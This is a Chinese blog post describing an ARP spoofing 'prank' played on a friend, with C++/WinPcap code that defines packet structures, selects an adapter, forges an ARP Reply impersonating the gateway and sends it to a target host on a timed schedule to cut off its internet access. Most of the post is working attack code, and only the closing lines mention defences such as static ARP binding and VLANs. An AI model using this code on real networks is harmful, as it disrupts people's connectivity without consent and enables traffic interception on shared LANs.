版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/t60339/article/details/82797585
事件起因
某小伙伴太热衷于浏览新闻看网页,常常忘了自己手中的事情,于是做了这个小程序挑逗了一下
实现过程
ARP欺骗有分为2个方向,欺骗网关与欺骗被挑逗者,核心为伪造ARP Reply报文,更新目标主机的ARP缓存表,我这里选择了攻击被挑逗者,伪造网关向被攻击者发生ARP Reply报文,引发被攻击主机更新ARP缓存表
为了让对方有一定上网时间,攻击流程为:
- 设置休眠间隔10-25分钟
- 持续发送5分钟伪造的ARP回应报文给目标主机,随机间隔一定秒数发一个包
具体的ARP协议百度上很多,不讲了,直接看下代码实现
数据结构定义
#pragma pack (1)
//以太网帧头部结构体,共14字节
struct EthernetHeader
{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};
//802.1Q VLAN帧头部结构体,共18字节
struct VlanHeader
{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short type; //0x8100
// PRI(3 bit) | CFI(1 bit) | VID(12 bit)
// PRI:表示帧的优先级,取值范围0~7,值越大优先级越高
// CFI:值为0代表MAC地址是以太帧的MAC,值为1代表MAC地址是FDDI、 令牌环网的帧
u_short vid;
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};
//28字节ARP帧结构
struct Arpheader {
unsigned short HardwareType; //硬件类型
unsigned short ProtocolType; //协议类型
unsigned char HardwareAddLen; //硬件地址长度
unsigned char ProtocolAddLen; //协议地址长度
unsigned short OperationField; //操作字段
unsigned char SourceMacAdd[6]; //源mac地址
unsigned long SourceIpAdd; //源ip地址
unsigned char DestMacAdd[6]; //目的mac地址
unsigned long DestIpAdd; //目的ip地址
};
//arp包结构
struct ArpPacket {
EthernetHeader ed;
Arpheader ah;
};
#pragma pack ()
选择网卡
pcap_if_t* alldevs; //网络适配器列表
pcap_if_t* d; //选中的适配器
char errbuf[PCAP_ERRBUF_SIZE];
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
{
cout << "pcap_findalldevs_ex fail";
exit(1);
}
int i = 0;
for (d = alldevs; d; d = d->next)
{
cout << "CARD:" << ++i << endl;
cout << "name:" << d->name << endl;
cout << "discription:" << d->description << endl;
cout << "loopback:" << ((d->flags & PCAP_IF_LOOPBACK) ? "Y" : "N") << endl;
pcap_addr_t* a;
for (a = d->addresses; a; a = a->next)
{
cout << "Address Family:" << a->addr->sa_family << endl;
switch (a->addr->sa_family)
{
case AF_INET:
cout << "Address Family Name: AF_INET" << endl;
if (a->addr)
cout << "Address: " << iptos(((sockaddr_in*)(a->addr))->sin_addr.S_un.S_addr) << endl;
if (a->netmask)
cout << "Netmask: " << iptos(((sockaddr_in*)(a->netmask))->sin_addr.S_un.S_addr) << endl;
if (a->broadaddr)
cout << "Broadcast Address: " << iptos(((sockaddr_in*)(a->broadaddr))->sin_addr.S_un.S_addr) << endl;
if (a->dstaddr)
cout << "Destination Address: " << iptos(((sockaddr_in*)(a->dstaddr))->sin_addr.S_un.S_addr) << endl;
break;
case AF_INET6:
cout << "Address Family Name: AF_INET6" << endl;
if (a->addr)
{
ip6tos(a->addr, ip6str, sizeof(ip6str));
cout << "Address: " << ip6str << endl;
}
break;
default:
cout << "Address Family Name: Unknown" << endl;
break;
}
}
cout << endl;
}
cout << "Use Which Card: ";
int nNetCard;
cin >> nNetCard;
d = alldevs;
for (int i = 1; i < nNetCard; i++)
{
d = d->next;
}
伪造ARP Reply包
EthernetHeader eh;
Arpheader ah;
u_char sendbuf[1518];
eh.SourMAC[0] = 0x80;
eh.SourMAC[1] = 0xc1;
eh.SourMAC[2] = 0x6e;
eh.SourMAC[3] = 0xdf;
eh.SourMAC[4] = 0xad;
eh.SourMAC[5] = 0x99;
eh.EthType = htons(ETH_ARP);
eh.DestMAC[0] = 0x54;
eh.DestMAC[1] = 0xbe;
eh.DestMAC[2] = 0xf7;
eh.DestMAC[3] = 0x33;
eh.DestMAC[4] = 0x5c;
eh.DestMAC[5] = 0x2e;
ah.HardwareType = htons(ARP_HARDWARE);
ah.ProtocolType = htons(ETH_IP);
ah.HardwareAddLen = 6;
ah.ProtocolAddLen = 4;
ah.OperationField = htons(ARP_REPLY);
ah.SourceMacAdd[0] = 0x80;
ah.SourceMacAdd[1] = 0xc1;
ah.SourceMacAdd[2] = 0x6e;
ah.SourceMacAdd[3] = 0xdf;
ah.SourceMacAdd[4] = 0xad;
ah.SourceMacAdd[5] = 0x99;
ah.SourceIpAdd = inet_addr("192.168.100.1");
ah.DestMacAdd[0] = 0x54;
ah.DestMacAdd[1] = 0xbe;
ah.DestMacAdd[2] = 0xf7;
ah.DestMacAdd[3] = 0x33;
ah.DestMacAdd[4] = 0x5c;
ah.DestMacAdd[5] = 0x2e;
ah.DestIpAdd = inet_addr("192.168.100.6");
memset(sendbuf, 0, sizeof(sendbuf));
memcpy(sendbuf, &eh, sizeof(eh));
memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
打开网卡
pcap_t* pHandle;
char errbuf[PCAP_ERRBUF_SIZE];
if ((pHandle = pcap_open(pParams->pName, 65535, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf)) == NULL)
{
cout << "Fail to open " << pParams->pName << endl;
return -1;
}
发包
if (pcap_sendpacket(pHandle, sendbuf, sizeof(eh) + sizeof(ah)) != 0)
cout << "send packets error, code:" << GetLastError() << endl;
小结
对于划分了VLAN的不同网络,不在同一个VLAN的主机无法欺骗,因为交换机access端口通常不会合作,攻击包因为不属于access端口vlan会直接被丢弃
防范arp欺骗也很容易,直接静态绑定ARP缓存表即可,也可以划分vlan隔离发起攻击主机与被攻击主机